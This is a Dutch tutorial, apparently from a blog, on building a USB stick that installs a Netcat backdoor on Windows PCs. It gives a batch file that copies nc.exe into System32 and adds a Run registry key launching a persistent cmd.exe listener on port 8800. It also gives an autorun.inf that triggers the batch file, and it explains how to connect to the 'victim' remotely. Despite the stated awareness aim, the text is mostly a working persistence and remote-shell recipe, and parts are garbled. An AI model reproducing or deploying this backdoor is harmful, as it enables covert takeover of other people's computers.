Laatste update: 10 juli 2023
In eerdere artikelen hebben we gezien hoe u een USB-rootkitsleutel die wachtwoorden herstelt van een computer onder Windows. Vandaag zullen we zien hoe je een USB-sleutel maakt die een achterdeur op een machine opent Windows.
Deze rootkit wordt automatisch uitgevoerd, maakt een achterdeur op een pc Windows en stelt u in staat om op afstand de controle overnemen.
Zoals gewoonlijk dedoel van deze tutorial, is om bedrijfsleiders te laten zien in welke mate het gebruik van sleutels USB kan gevaarlijk zijn. Wat voor bedrijven geldt, geldt niet minder voor particulieren.
Neem de controle over een pc op afstand
Om op afstand de controle over een pc over te nemen met een USB-sleutel, moet u de bovenstaande stappen volgen:
Download de Netcat-tool
Eerst maken we een nieuwe map op onze USB-stick. Dan gaan we downloaden netcat, een hulpprogramma voor het openen van netwerkverbindingen, ofwel UDP of TCP.
U kunt ook de tool Cryptcat, de Netcat-kloon, gebruiken, op voorwaarde dat deze laatste zijn communicatie versleutelt.
Netcat downloaden voor windows
Na het downloaden van Netcat, unzip het in de recent aangemaakte map.
Een .bat-script maken
Vervolgens zullen we een bestand maken achterdeur.bat. Dit kleine bestand heeft twee doelen:
- Kopieer de Netcat-bestanden naar de map System32 van de doelcomputer.
- Voeg een tekenreekswaarde toe aan het register van de slachtoffer-pc zodat onze achterdeur bij elke opstart kan worden gestart.
Om dit te doen, zullen we een nieuw tekstdocument maken met de teksteditor Kladblok of een andere teksteditor en de onderstaande code plakken:
REG TOEVOEGEN « HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun” /v “backdoor” /t “REG_SZ” /d “%SYSTEMROOT%System32nc.exe -d -L -e cmd.exe -p 8800”
Een autorun-bestand maken
Nu moeten we het bestand maken autorun.inf.
In deze stap zullen we een nieuwe optie maken in het venster dat verschijnt bij het plaatsen van een USB, waarmee we (eenmaal erop klikken) onze achterdeur op de doelcomputer kunnen installeren.
Open hiervoor een nieuw tekstdocument en voer deze code in:
open=achterdeur.bat
ACTION=”geef een naam aan deze actie”
Ten slotte slaan we het bestand op onder de hoofdmap van de sleutel onder de naam autorun.inf
Implementeer de gecreëerde achterdeur
Nadat u de USB-sleutel hebt geplaatst, kunt u vanaf elke machine verbinding maken met de computer van het slachtoffer met de volgende opdracht:
192.168.1.17 geeft het IP-adres aan van de externe machine die u moet vervangen. En 8800 is de poort die moet worden gebruikt om verbinding te maken.
En daar ga je! Met deze techniek kun je op afstand de controle over een pc overnemen. U kunt doen wat u wilt: bestanden openen, een zoekopdracht starten, een programma uitvoeren...
Hier is een lijst met opdrachten om de machine op afstand correct te manipuleren: Bestellingen lezen Windows.
Om uit te loggen typt u "uitloggen".
Maak er goed gebruik van.
